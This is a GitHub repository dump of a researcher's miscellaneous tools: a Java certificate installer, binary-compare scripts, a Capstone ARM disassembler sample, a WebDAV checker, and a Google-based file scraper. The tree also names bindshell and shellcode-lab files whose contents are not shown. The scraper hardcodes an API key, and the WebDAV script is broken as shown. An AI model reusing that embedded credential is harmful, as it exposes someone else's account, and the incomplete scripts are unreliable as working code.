├── JavaInstallCert ├── InstallCert.java └── README.md ├── README.md ├── binary_compare ├── README.md ├── bincompare.py └── bincompare.rb ├── capstone_python_bindings_sample ├── README.md └── capstone_armdis.py ├── check_webdav ├── README.md └── is_webdav_enabled.rb ├── display_dom ├── README.md └── jsbrowse.html ├── file_scraper.py ├── README.md ├── fscraper.py └── pygoogle-0.6.tar.gz ├── get_rid_of_ctrlMs ├── README.md └── ctrlM_clean.py ├── humptyDumpy_shellcode_labratory ├── Make.bat ├── README.md ├── hd.exe ├── humpty_dumpty.c ├── humpty_dumpty.obj ├── notepad.sc └── sa7_win.h ├── investigate_windows_tokens ├── README.md ├── identify_all │ ├── identify_all.cpp │ ├── make.bat │ └── sa7_win.h ├── identify_self │ ├── ident_self.cpp │ ├── ident_self.exe │ ├── ident_self.obj │ ├── make.bat │ ├── sa7_win.h │ └── tok_play.cpp └── tok_play │ ├── Debug │ ├── BuildLog.htm │ ├── stdafx.obj │ ├── tok_play.exe │ ├── tok_play.ilk │ ├── tok_play.obj │ ├── tok_play.pch │ ├── tok_play.pdb │ ├── vc70.idb │ └── vc70.pdb │ ├── ReadMe.txt │ ├── stdafx.cpp │ ├── stdafx.h │ ├── tok_play.cpp │ ├── tok_play.ncb │ ├── tok_play.obj │ ├── tok_play.sln │ ├── tok_play.suo │ └── tok_play.vcproj ├── java_decompile_everything ├── README.md ├── find_and_extract_jars.sh └── jadall.py ├── jump_to_work_directory ├── README.md ├── setworkfocus.py │ ├── dot_profile │ └── setwork.py └── setworkfocus.rb │ ├── dot_profile │ └── setwork.rb ├── make_windbg_UI_not_suck ├── README.md └── sa7ori_windbg_workspace_template.wew ├── python_bindshell ├── README.md └── bindshell.py ├── python_listen_and_dump ├── README.md ├── just_listen.py └── tcp_sender.py ├── python_tcp_forwarding ├── README.md └── pf.py ├── python_webserver ├── README.md └── http_ext_test.py ├── ruby_windows_gui_automation ├── README.md └── user32.rb ├── s1cflatline ├── Makefile ├── README ├── makes1cfifo.c ├── s1cflatline.c └── s1cflatline.h ├── serial_snoop ├── README.md ├── osx_show_ttys.sh ├── project_specific │ ├── __init__.py │ └── crc16.py ├── serial_snoop.py └── test_serial_data.py ├── unicode.py ├── README.md ├── unicode-bom.html ├── unicode.py ├── unicode.pyc ├── ununicode.py ├── utf16to8.py └── utf8to16.py ├── windbg_extensions ├── .xvpics │ └── ntsdextsdll_useskernel32.jpg ├── 1st_windbgplugin │ ├── ReadMe.txt │ ├── ext_test.ncb │ ├── ext_test.sln │ ├── ext_test.suo │ ├── ext_test.vcproj │ ├── sdbg.cpp │ ├── sdbg.cpp.html │ ├── sdbg.def │ ├── sdbg.dll │ ├── sdbg.exp │ ├── sdbg.lib │ ├── sdbg.obj │ ├── stdafx.cpp │ └── stdafx.h ├── README.md ├── Sa7heap │ ├── Debug │ │ ├── BuildLog.htm │ │ ├── heap_thing.pch │ │ ├── stdafx.obj │ │ ├── vc70.idb │ │ └── vc70.pdb │ ├── Make.bat │ ├── ReadMe.txt │ ├── heap_thing.cpp │ ├── heap_thing.d │ ├── heap_thing.def │ ├── heap_thing.dll │ ├── heap_thing.exp │ ├── heap_thing.lib │ ├── heap_thing.ncb │ ├── heap_thing.obj │ ├── heap_thing.sln │ ├── heap_thing.suo │ ├── heap_thing.vcproj │ ├── stdafx.cpp │ └── stdafx.h ├── ntsdextsdll_useskernel32.jpg ├── windbg_extension_docs │ ├── debugext.chi │ └── debugext.chm └── windbgs_core_dlls.txt └── windows_registry.rb ├── README.md ├── regenum.rb └── registry.rb /JavaInstallCert/InstallCert.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2006 Sun Microsystems, Inc. All Rights Reserved. 3 | * 4 | * Redistribution and use in source and binary forms, with or without 5 | * modification, are permitted provided that the following conditions 6 | * are met: 7 | * 8 | * - Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 11 | * - Redistributions in binary form must reproduce the above copyright 12 | * notice, this list of conditions and the following disclaimer in the 13 | * documentation and/or other materials provided with the distribution. 14 | * 15 | * - Neither the name of Sun Microsystems nor the names of its 16 | * contributors may be used to endorse or promote products derived 17 | * from this software without specific prior written permission. 18 | * 19 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS 20 | * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, 21 | * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 22 | * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 23 | * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 24 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, 25 | * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR 26 | * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF 27 | * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING 28 | * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 29 | * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | */ 31 | 32 | import java.io.*; 33 | import java.net.URL; 34 | 35 | import java.security.*; 36 | import java.security.cert.*; 37 | 38 | import javax.net.ssl.*; 39 | 40 | public class InstallCert { 41 | 42 | public static void main(String[] args) throws Exception { 43 | String host; 44 | int port; 45 | char[] passphrase; 46 | if ((args.length == 1) || (args.length == 2)) { 47 | String[] c = args[0].split(":"); 48 | host = c[0]; 49 | port = (c.length == 1) ? 443 : Integer.parseInt(c[1]); 50 | String p = (args.length == 1) ? "changeit" : args[1]; 51 | passphrase = p.toCharArray(); 52 | } else { 53 | System.out.println("Usage: java InstallCert [:port] [passphrase]"); 54 | return; 55 | } 56 | 57 | File file = new File("jssecacerts"); 58 | if (file.isFile() == false) { 59 | char SEP = File.separatorChar; 60 | File dir = new File(System.getProperty("java.home") + SEP 61 | + "lib" + SEP + "security"); 62 | file = new File(dir, "jssecacerts"); 63 | if (file.isFile() == false) { 64 | file = new File(dir, "cacerts"); 65 | } 66 | } 67 | System.out.println("Loading KeyStore " + file + "..."); 68 | InputStream in = new FileInputStream(file); 69 | KeyStore ks = KeyStore.getInstance(KeyStore.getDefaultType()); 70 | ks.load(in, passphrase); 71 | in.close(); 72 | 73 | SSLContext context = SSLContext.getInstance("TLS"); 74 | TrustManagerFactory tmf = 75 | TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm()); 76 | tmf.init(ks); 77 | X509TrustManager defaultTrustManager = (X509TrustManager)tmf.getTrustManagers()[0]; 78 | SavingTrustManager tm = new SavingTrustManager(defaultTrustManager); 79 | context.init(null, new TrustManager[] {tm}, null); 80 | SSLSocketFactory factory = context.getSocketFactory(); 81 | 82 | System.out.println("Opening connection to " + host + ":" + port + "..."); 83 | SSLSocket socket = (SSLSocket)factory.createSocket(host, port); 84 | socket.setSoTimeout(10000); 85 | try { 86 | System.out.println("Starting SSL handshake..."); 87 | socket.startHandshake(); 88 | socket.close(); 89 | System.out.println(); 90 | System.out.println("No errors, certificate is already trusted"); 91 | } catch (SSLException e) { 92 | System.out.println(); 93 | e.printStackTrace(System.out); 94 | } 95 | 96 | X509Certificate[] chain = tm.chain; 97 | if (chain == null) { 98 | System.out.println("Could not obtain server certificate chain"); 99 | return; 100 | } 101 | 102 | BufferedReader reader = 103 | new BufferedReader(new InputStreamReader(System.in)); 104 | 105 | System.out.println(); 106 | System.out.println("Server sent " + chain.length + " certificate(s):"); 107 | System.out.println(); 108 | MessageDigest sha1 = MessageDigest.getInstance("SHA1"); 109 | MessageDigest md5 = MessageDigest.getInstance("MD5"); 110 | for (int i = 0; i < chain.length; i++) { 111 | X509Certificate cert = chain[i]; 112 | System.out.println 113 | (" " + (i + 1) + " Subject " + cert.getSubjectDN()); 114 | System.out.println(" Issuer " + cert.getIssuerDN()); 115 | sha1.update(cert.getEncoded()); 116 | System.out.println(" sha1 " + toHexString(sha1.digest())); 117 | md5.update(cert.getEncoded()); 118 | System.out.println(" md5 " + toHexString(md5.digest())); 119 | System.out.println(); 120 | } 121 | 122 | System.out.println("Enter certificate to add to trusted keystore or 'q' to quit: [1]"); 123 | String line = reader.readLine().trim(); 124 | int k; 125 | try { 126 | k = (line.length() == 0) ? 0 : Integer.parseInt(line) - 1; 127 | } catch (NumberFormatException e) { 128 | System.out.println("KeyStore not changed"); 129 | return; 130 | } 131 | 132 | X509Certificate cert = chain[k]; 133 | String alias = host + "-" + (k + 1); 134 | ks.setCertificateEntry(alias, cert); 135 | 136 | OutputStream out = new FileOutputStream("jssecacerts"); 137 | ks.store(out, passphrase); 138 | out.close(); 139 | 140 | System.out.println(); 141 | System.out.println(cert); 142 | System.out.println(); 143 | System.out.println 144 | ("Added certificate to keystore 'jssecacerts' using alias '" 145 | + alias + "'"); 146 | } 147 | 148 | private static final char[] HEXDIGITS = "0123456789abcdef".toCharArray(); 149 | 150 | private static String toHexString(byte[] bytes) { 151 | StringBuilder sb = new StringBuilder(bytes.length * 3); 152 | for (int b : bytes) { 153 | b &= 0xff; 154 | sb.append(HEXDIGITS[b >> 4]); 155 | sb.append(HEXDIGITS[b & 15]); 156 | sb.append(' '); 157 | } 158 | return sb.toString(); 159 | } 160 | 161 | private static class SavingTrustManager implements X509TrustManager { 162 | 163 | private final X509TrustManager tm; 164 | private X509Certificate[] chain; 165 | 166 | SavingTrustManager(X509TrustManager tm) { 167 | this.tm = tm; 168 | } 169 | 170 | public X509Certificate[] getAcceptedIssuers() { 171 | throw new UnsupportedOperationException(); 172 | } 173 | 174 | public void checkClientTrusted(X509Certificate[] chain, String authType) 175 | throws CertificateException { 176 | throw new UnsupportedOperationException(); 177 | } 178 | 179 | public void checkServerTrusted(X509Certificate[] chain, String authType) 180 | throws CertificateException { 181 | this.chain = chain; 182 | tm.checkServerTrusted(chain, authType); 183 | } 184 | } 185 | 186 | } 187 | -------------------------------------------------------------------------------- /JavaInstallCert/README.md: -------------------------------------------------------------------------------- 1 | Install A Java Cert 2 | ===== 3 | 4 | For some reason this thing is hard to find, but one 5 | of those things you just need sometimes for crappy web stuff 6 | or mobile devices. 7 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Miscellaneous Tools 2 | ===== 3 | 4 | A collection of miscellaneous but useful tools. 5 | Each directory has a README that explains the purpose of each tool. 6 | 7 | -------------------------------------------------------------------------------- /binary_compare/README.md: -------------------------------------------------------------------------------- 1 | Binary Compare 2 | ======= 3 | 4 | Walkthrough a binary file comparing byte-by-byte. Sometimes when doing 5 | protocol replication (for files) it helps to just have a quick tool to 6 | compare two files. OR for other crap like firmware it sometimes comes in 7 | handy. 8 | 9 | There are two versions. One in Ruby, one in Python 10 | 11 | -------------------------------------------------------------------------------- /binary_compare/bincompare.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | """ 3 | BinCompare 4 | Compare two files starting at the first byte. 5 | 6 | ./bincompare.py tolerance 7 | 8 | tolerance: the number of first "differences" to ignore. 9 | if 0, dont stop until end of file. 10 | 11 | """ 12 | from sys import * 13 | 14 | def read_file(file): 15 | """ 16 | Read a binary from filesystem. 17 | """ 18 | try: 19 | in_file = open(file, "rb") #binary mode. 20 | except IOError: 21 | print "\nYou did something wrong.\nSome kinda file IO error.\n" 22 | exit(1) 23 | bytes = [] 24 | bytes = in_file.read() #without a size read() goes to EOF, phat! 25 | count = len(bytes) 26 | #print "==>\tRead %d bytes from %s" % (count,file) 27 | in_file.close() 28 | return bytes 29 | 30 | def compare_files(tolerance): 31 | file_a = read_file(argv[1]) 32 | file_b = read_file(argv[2]) 33 | tolerance = int(tolerance) 34 | if tolerance == 0: # set tolerance to the size of the largest file. 35 | if len(file_b) >= len(file_a): 36 | tolerance = len(file_b) 37 | else: 38 | tolerance = len(file_a) 39 | diff_switch = 0 40 | if (len(file_a) != len(file_b)): 41 | if (len(file_b)) > (len(file_a)): 42 | len_delta = len(file_b) - len(file_a) 43 | else: 44 | len_delta = len(file_a) - len(file_b) 45 | print "==>\tSizes of files differ by %d bytes." % (len_delta) 46 | if (len(file_a) < len(file_b)): 47 | i = len(file_a) 48 | else: 49 | i = len(file_b) 50 | else: 51 | print "==>\tSizes of files are the same (%d bytes), a good start!" % (len(file_b)) 52 | i = len(file_b) 53 | 54 | for n in range(i): 55 | if (file_a[n] != file_b[n]): 56 | print "***** Files differ at byte: 0x%x" % n 57 | diff_switch = 1 58 | if (tolerance == 0): 59 | break 60 | tolerance -= 1 61 | else: 62 | if ((n == (i-1)) and (diff_switch == 0)): 63 | print "***** Files contained no differing bytes.\nTHEY LOOK SAME!" 64 | continue 65 | 66 | if __name__ == '__main__': 67 | if (len(argv) < 3): 68 | print __doc__ 69 | else: 70 | if (3 in range(len(argv))): 71 | compare_files(argv[3]) 72 | else: 73 | compare_files(0) 74 | -------------------------------------------------------------------------------- /binary_compare/bincompare.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # == BinCompare 3 | # 4 | # This compares two files starting from both the beginning and 5 | # reports at which file offsets the files begin to differ. You 6 | # may specify a "tolerance" which is the number of differences to 7 | # ignore before reporting back to you. 8 | # 9 | # == Author 10 | # Stephen A. Ridley 11 | # stephen@sa7ori.org 12 | # -- 13 | # WTF is this? http://optionparser.rubyforge.org/ 14 | # why are there like 20 differnt option parsers all called OptionParser!? 15 | # and seemingly no attempt at disambiguation. its like an oldskool CPAN clusterfuck 16 | # all over again. This is what you get when a buncha non english speakers 17 | # design a programming language in english, and a buncha SanFran 18 | # webdesigners, in all their 19 | # VWbug-pastelcolored-sushiloving-DeathCabforCutie glory 20 | # flocked like hipster lemmings because Ruby was "written by a Japanese guy" 21 | # This language is seriously pissing me off. Why are smart people using 22 | # this? 23 | # 24 | # Clearly I am still in the "hate" phase of learning this language. Its like algebra and 6th 25 | # grade all over again. 26 | 27 | require 'optparse' 28 | require 'rdoc/usage' 29 | 30 | # Retrieve the contents of the file _fname_ and it in a big buffer. 31 | # :call-seq: 32 | # get_file_contents(fname) -> string 33 | # Return the contents of the file pointed to by "fname" as a string 34 | # buffer. 35 | def get_file_contents(fname) 36 | f_h = File.open(fname,'r') 37 | readbuf = f_h.read() 38 | # puts "Read #{readbuf.length()} bytes from #{fname}." 39 | f_h.close() 40 | return readbuf 41 | end 42 | 43 | # Check if the contents of the file _fname_ is is a binary or text file (ASCII 44 | # UTF 8) This is done by checking to see if the file has more than 5% of binary 45 | # data. If it does then it is considered not pure text. 46 | # 47 | # :call-seq: 48 | # isBinary?(fname) -> True/False 49 | # 50 | def isBinary?(fname) 51 | readbuf = get_file_contents(fname) 52 | count = 0 53 | # puts "The size is: #{readbuf.length()}." 54 | threshold = Integer(readbuf.length() * 0.25) 55 | # puts "Threshold: #{threshold}." 56 | readbuf.each_byte do |byte| #I have to use each_byte because Ruby 1.8.6 (Darwin) is 57 | #fucked and doesnt have String::each_char 58 | if !(0x20..0x7f).include?(byte) then 59 | #puts "Non-ascii byte found: #{byte}" 60 | count+=1 61 | end 62 | end 63 | # puts "#{count} nonascii bytes found in file." 64 | if count >= threshold then 65 | return true 66 | else 67 | return false 68 | end 69 | end 70 | 71 | # Begin comparing the files. Print when the files begin to differ. 72 | # :call-seq: 73 | # bindiff(file1, file2,tolerance) -> nothing 74 | # 75 | def bindiff(file1, file2, tol) 76 | if tol.nil? then tol = 0 end #Ruby seriously needs to fix this nil/0 shit 77 | i = 0; small = 0; tol_count = 0; 78 | f1 = get_file_contents(file1) 79 | f2 = get_file_contents(file2) 80 | if f1.length() != f2.length() then 81 | puts "The two files are of differing lengths." 82 | if f1.length() < f2.length() then small = f1.length() 83 | else small = f2.length() end 84 | end 85 | while i <= small 86 | if f1[i] != f2[i] then 87 | tol_count+=1 88 | if tol_count > tol then puts "Files begin to differ at offset 0x#{i.to_s(16)}" end 89 | end 90 | i+=1 91 | end 92 | if tol_count == 0 then puts "Files are exactly the same." end 93 | end 94 | 95 | # -- 96 | #I see how to specify optional and mandatory arguments, I dont see how to specify 97 | #optional or mandatory switches. 98 | #if options[:file1] and options[:file2] and options[:tol] then 99 | # for (option, value) in options 100 | # puts value 101 | # end 102 | #else 103 | # puts opts.to_s 104 | # Kernel.exit() 105 | #end 106 | 107 | options = {} 108 | opts = OptionParser.new() 109 | #opts.on("-h", "--help", "You're looking at it."){RDoc::usage} 110 | opts.on("-h", "--help", "You're looking at it."){puts opts.to_s;Kernel.exit(0)} 111 | opts.on("-1", "--file1 file1", "First file to compare."){|val| options[:file1] = val} 112 | opts.on("-2", "--file2 file2", "Second file to compare.") {|val| options[:file2] = val} 113 | opts.on("-t", "--tol [tol]", "Number of occurrences to ignore.") do |val| 114 | if val.nil? then options[:tol] = 0 else options[:tol] = val.to_i() end 115 | end 116 | opts.parse(ARGV) rescue puts opts.to_s 117 | #need to learn how OptionParser does this the "right" way. 118 | if options[:file1].nil? or options[:file1].nil? then puts opts.to_s;Kernel.exit(1) end 119 | 120 | if options[:file1] then 121 | if File::exists?(options[:file1]) and (File::readable?(options[:file1])) then 122 | f1_bytes=get_file_contents(options[:file1]) 123 | else 124 | puts "The file #{options[:file1]} does not exist or is not readable." 125 | Kernel.exit(1) 126 | end 127 | end 128 | 129 | if options[:file2] then 130 | if File::exists?(options[:file2]) then 131 | f2_bytes=get_file_contents(options[:file2]) 132 | else 133 | puts "The file #{options[:file2]} does not exist or is not readable." 134 | Kernel.exit(1) 135 | end 136 | end 137 | 138 | if isBinary?(options[:file1]) then 139 | puts "The file #{options[:file1]} is probably binary." 140 | else 141 | puts "The file #{options[:file1]} is probably text." 142 | end 143 | 144 | if isBinary?(options[:file2]) then 145 | puts "The file #{options[:file2]} is probably binary." 146 | else 147 | puts "The file #{options[:file2]} is probably text." 148 | end 149 | if isBinary?(options[:file1]) != isBinary?(options[:file2]) then 150 | puts "One file is text the other is binary." 151 | end 152 | bindiff(options[:file1], options[:file2], options[:tol]) 153 | -------------------------------------------------------------------------------- /capstone_python_bindings_sample/README.md: -------------------------------------------------------------------------------- 1 | Capstone Bindings Sample Code 2 | ===== 3 | 4 | Just a simple sample of how to quickly start using Capstone Engine's 5 | disassembly framework for useful ARM stuff... 6 | 7 | -------------------------------------------------------------------------------- /capstone_python_bindings_sample/capstone_armdis.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from capstone import * 3 | import binascii 4 | 5 | def clean_pasted_code(code): 6 | space_count = code.count(" ") 7 | ccode = code.strip(" ") 8 | for byte in ccode: 9 | if len(byte) != 2: 10 | print("'%s' didn't look like a byte, deleting and continuing.") % (byte) 11 | 12 | 13 | def disasm_thumb(code): 14 | try: 15 | md = Cs(CS_ARCH_ARM, CS_MODE_THUMB) 16 | md.syntax = 0 17 | for insn in md.disasm(code, 0): 18 | #bytes = binascii.hexlify(insn.bytes) 19 | #print("0x%x:\t%s\t%s\t// hex-code: %s" %(insn.address, insn.mnemonic, insn.op_str, bytes)) 20 | #import pdb;pdb.set_trace() 21 | print("0x%x:\t%s\t%s" %(insn.address, insn.mnemonic, insn.op_str)) 22 | print("0x%x:" % (insn.address + insn.size)) 23 | print 24 | except CsError as e: 25 | print("ERROR: %s" %e) 26 | 27 | def disasm_thumb2(code): 28 | try: 29 | md = Cs(CS_ARCH_ARM, CS_MODE_THUMB) 30 | md.syntax = 0 31 | for insn in md.disasm(code, 0x1000): 32 | #bytes = binascii.hexlify(insn.bytes) 33 | #print("0x%x:\t%s\t%s\t// hex-code: %s" %(insn.address, insn.mnemonic, insn.op_str, bytes)) 34 | #import pdb;pdb.set_trace() 35 | print("0x%x:\t%s\t%s" %(insn.address, insn.mnemonic, insn.op_str)) 36 | print("0x%x:" % (insn.address + insn.size)) 37 | print 38 | except CsError as e: 39 | print("ERROR: %s" %e) 40 | 41 | def disasm_arm(code): 42 | try: 43 | md = Cs(CS_ARCH_ARM, CS_MODE_ARM) 44 | md.syntax = 0 45 | for insn in md.disasm(code, 0x1000): 46 | #bytes = binascii.hexlify(insn.bytes) 47 | #print("0x%x:\t%s\t%s\t// hex-code: %s" %(insn.address, insn.mnemonic, insn.op_str, bytes)) 48 | #import pdb;pdb.set_trace() 49 | print("0x%x:\t%s\t%s" %(insn.address, insn.mnemonic, insn.op_str)) 50 | print("0x%x:" % (insn.address + insn.size)) 51 | print 52 | except CsError as e: 53 | print("ERROR: %s" %e) 54 | -------------------------------------------------------------------------------- /check_webdav/README.md: -------------------------------------------------------------------------------- 1 | IS WEBDAV ENABLED? 2 | ====== 3 | 4 | Simple Ruby tool to check if a webserver supports WebDAV... 5 | you know, for.......[reasons] 6 | -------------------------------------------------------------------------------- /check_webdav/is_webdav_enabled.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | require 'optparse' 3 | require 'rdoc/usage' 4 | # -- 5 | #I see how to specify optional and mandatory arguments, I dont see how to specify 6 | #optional or mandatory switches. 7 | #if options[:file1] and options[:file2] and options[:tol] then 8 | # for (option, value) in options 9 | # puts value 10 | # end 11 | #else 12 | # puts opts.to_s 13 | # Kernel.exit() 14 | #end 15 | 16 | options = {} 17 | opts = OptionParser.new() 18 | #opts.on("-h", "--help", "You're looking at it."){puts opts.to_s;Kernel.exit(0)} 19 | opts.on("-h", "--host hostname", "The hostname of the server."){|val| options[:host] = val} 20 | opts.on("-s", "--ssl ", "Check SSL also."){|val| options[:ssl] = True} 21 | opts.parse(ARGV) rescue puts opts.to_s 22 | #need to learn how OptionParser does this the "right" way. 23 | if options[:host].nil? then puts opts.to_s;Kernel.exit(1) end 24 | 25 | if options[:file1] then 26 | check_webdav(options[:host]) 27 | end 28 | 29 | def check_webdav(hostname) 30 | xmlreq < 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | EOF 43 | Net::HTTP::Propfind.start(hostname) {|http| 44 | } 45 | end 46 | 47 | def get_headers(hostname) 48 | Net::HTTP.start(hostname) {|http| 49 | res = http.head("/index.html") 50 | res.each_header {|key,val| pp "#{key} ==> #{val}"} 51 | } 52 | return #return nothing so irb doesnt print anything 53 | end 54 | 55 | def server_type(hostname) 56 | IRB.start_session(Kernel.binding) #Invoke, passing in our binding. 57 | Net::HTTP.start(hostname) {|http| 58 | res = http.head("/index.html") 59 | puts "The webserver on: #{hostname} is: #{res["server"]}." 60 | } 61 | return #return nothing so irb doesnt print anything 62 | end 63 | 64 | 65 | 66 | -------------------------------------------------------------------------------- /display_dom/README.md: -------------------------------------------------------------------------------- 1 | Display DOM 2 | ===== 3 | 4 | A simple bit of HTML/Javascript to display the DOM heirarchically. 5 | For serving it, ["Python Webserver"](https://github.com/Xipiter/MiscTools/tree/master/python_webserver) also in this directory is useful. 6 | 7 | -------------------------------------------------------------------------------- /display_dom/jsbrowse.html: -------------------------------------------------------------------------------- 1 | JS objbrowse 2 | 8 | 9 | 10 |

Javascript Object Browser

11 | 43 | 44 | -------------------------------------------------------------------------------- /file_scraper.py/README.md: -------------------------------------------------------------------------------- 1 | File Scraper 2 | ========= 3 | 4 | Sometimes when you are fuzzing or protocol replicating you need 5 | a bunch of "real" samples of a particular file type. This script will use 6 | the Google API to download a BUNCH of file samples that you need. 7 | 8 | 9 | -------------------------------------------------------------------------------- /file_scraper.py/fscraper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | """ 3 | filescraper...to go get a buncha files. 4 | """ 5 | import os 6 | import google 7 | import urllib 8 | from urllib import FancyURLopener 9 | from time import localtime 10 | from urlparse import * 11 | from sys import argv 12 | 13 | global APIKEY 14 | APIKEY = "nYiW30JQFHL4tmaXW+GxuAH8zwfFwq4j" 15 | 16 | def pt(t2print): 17 | """ print tuple for debugging """ 18 | for x in range(0,len(t2print)): 19 | print x, t2print[x] 20 | 21 | class uriobj: 22 | url = None 23 | scheme = None 24 | netloc = None 25 | path = None 26 | file = None 27 | params = None 28 | query = None 29 | fragment = None 30 | dl_total = 0 31 | dl_count = 0 32 | def __init__(self, url): 33 | uri_t = urlparse(url) 34 | self.url = url 35 | self.scheme = uri_t[0] 36 | self.netloc = uri_t[1] 37 | self.path = uri_t[2] 38 | if uri_t[2] == "/": 39 | self.file = "smeh" 40 | else: 41 | tmp_path=uri_t[2].split("/") 42 | self.file = tmp_path[len(tmp_path)-1] 43 | self.params = uri_t[3] 44 | self.query = uri_t[4] 45 | self.fragment = uri_t[5] 46 | self.dl_total = 0 47 | self.dl_count = 0 48 | 49 | def dl_progress(self, blocknum, bs, size): 50 | self.dl_total = (size / bs) 51 | #print self.dl_total 52 | self.dl_count += 1 53 | #print self.dl_count 54 | print ".", 55 | 56 | def progresshook(blocknum, bs, size): 57 | #print blocknum, bs, size 58 | print ".", 59 | 60 | def append_date(string): 61 | """ Append a few numbers from the current time to 62 | """ 63 | timet = localtime() 64 | timestr = "" 65 | for x in timet[:6]: 66 | timestr += str(x) 67 | return (string+"."+timestr) 68 | 69 | def create_dir(filetype): 70 | home = os.getenv("HOME") 71 | scrapedir = home+"/fscrape/" 72 | dl_dir = scrapedir+append_date(filetype) 73 | try: 74 | os.chdir(scrapedir) 75 | except OSError: 76 | os.mkdir(scrapedir) 77 | os.chdir(scrapedir) 78 | os.mkdir(dl_dir) 79 | os.chdir(dl_dir) 80 | print "Putting downloads in: %s ..." % (dl_dir) 81 | 82 | def go_get_googles(filetype, results_desired=10): 83 | search_string = "e filetype:%s" % (filetype) 84 | if results_desired <= 10: 85 | batches = 1 #the google api only supports retrieving 86 | #10 results per search so we have to batch 87 | #the requests 88 | if results_desired > 10: 89 | if ((results_desired % 10) != 0): #if there is a remainder 90 | batches = (results_desired / 10)+1 #then round up 91 | else: 92 | batches = (results_desired / 10) 93 | urls = [] 94 | for inc in range(0, batches): 95 | googles = google.doGoogleSearch(search_string, (inc*10), 10) 96 | rl = len(googles.results) 97 | for x in range(0,len(googles.results)): 98 | urls.append(uriobj(googles.results[x].URL)) 99 | #pt(urls) 100 | print "Doing:", batches, "batches for", len(urls), "files found." 101 | return urls #returns a list of uriobj's 102 | 103 | def write_urls_txt(urls): 104 | """create urls.txt """ 105 | of = open("urls.log", "w") 106 | of.write("\n=== URI's TO FILES FOUND ===\n") 107 | for x in range(len(urls)): 108 | #print urls[x].url 109 | of.write(urls[x].url+"\n") 110 | of.close() 111 | 112 | def go_get_that_shit(filetype): 113 | create_dir(filetype) 114 | urls = go_get_googles(filetype) 115 | write_urls_txt(urls) 116 | openinst = urllib.URLopener() 117 | openinst.version = "filescrape.py" 118 | x = 0 119 | while (x < len(urls)): 120 | print "\nDownloading", urls[x].file, 121 | #urllib.URLopener.retrieve(openinst, urls[x].url, urls[x].file, urls[x].dl_progress) 122 | x+=1 123 | 124 | def main(): 125 | print "\n\n\n\n\n\n\n\n" 126 | google.LICENSE_KEY = APIKEY 127 | go_get_that_shit(argv[1]) 128 | 129 | if __name__ == "__main__": 130 | main() 131 | -------------------------------------------------------------------------------- /file_scraper.py/pygoogle-0.6.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/file_scraper.py/pygoogle-0.6.tar.gz -------------------------------------------------------------------------------- /get_rid_of_ctrlMs/README.md: -------------------------------------------------------------------------------- 1 | Clean ^Ms 2 | ====== 3 | 4 | Clean up crappy windows carriage return newlines in files. 5 | It is "smart" enough to determine if a file is binary or text 6 | and skips binary files. 7 | 8 | -------------------------------------------------------------------------------- /get_rid_of_ctrlMs/ctrlM_clean.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2.4 2 | #Find and remove all "^M" control-M newlines. 3 | """ 4 | 5 | REMOVE FAT32/16 newlines. 6 | 7 | This will remove all ^M newlines from a file or recursively from all 8 | files within a directory tree. It will skip files it thinks are binary (i.e. 9 | containing more than 40% of non-printable characters within the first 2048 bytes 10 | of the file). 11 | 12 | USAGE: 13 | ./ctrlM_clean.py 14 | 15 | """ 16 | 17 | import os, sys, getopt 18 | 19 | def isAscii(fname): 20 | """ 21 | 22 | 1. get a file name 23 | 2. read the first 2048 bytes of file 24 | 3. count the number of non-printable characters 25 | 4. if below threshold decide if file is binary or ascii 26 | 5. return true if ascii 27 | 28 | """ 29 | sample_size = 2048.00 30 | percent = 0 31 | np_count = 0 #counter for number of non printable characters 32 | try: 33 | f_h = open(fname, 'r') 34 | except IOError, msg: 35 | print "\nAn error occurred while opening %s" % (fname) 36 | sys.exit(1) 37 | sample = f_h.read(2048) 38 | sample_size = len(sample) 39 | f_h.close() 40 | for byte in sample: 41 | if not ((ord(byte) > 0) and (ord(byte) < 127)): 42 | np_count+=1 43 | percent = int(((np_count/float(sample_size)) * 100)) 44 | #print ("%s contains %d/%d (%d percent) non-printable characters.") % (fname, np_count, sample_size, percent) 45 | if percent >= 40: 46 | return False 47 | else: 48 | return True 49 | 50 | def clean_file(fname): 51 | """ 52 | 1. get a file name. 53 | 2. open the file. 54 | 3. check if the file is mostly binary or mostly text. 55 | 4. remove ^Ms from text files. 56 | """ 57 | try: 58 | f_h = open(fname, 'r') 59 | except IOError, msg: 60 | print "\nAn error occurred while opening %s" % (fname) 61 | sys.exit(1) 62 | f_bytes = f_h.read() 63 | f_h.close() 64 | count = f_bytes.count("\x0d\x0a") 65 | if count > 0: 66 | f_bytes = f_bytes.replace("\x0d\x0a", "\x0a") 67 | try: 68 | f_h = open(fname, 'wb') 69 | f_h.write(f_bytes) 70 | f_h.close() 71 | print ("%s contained %d ^Ms which were 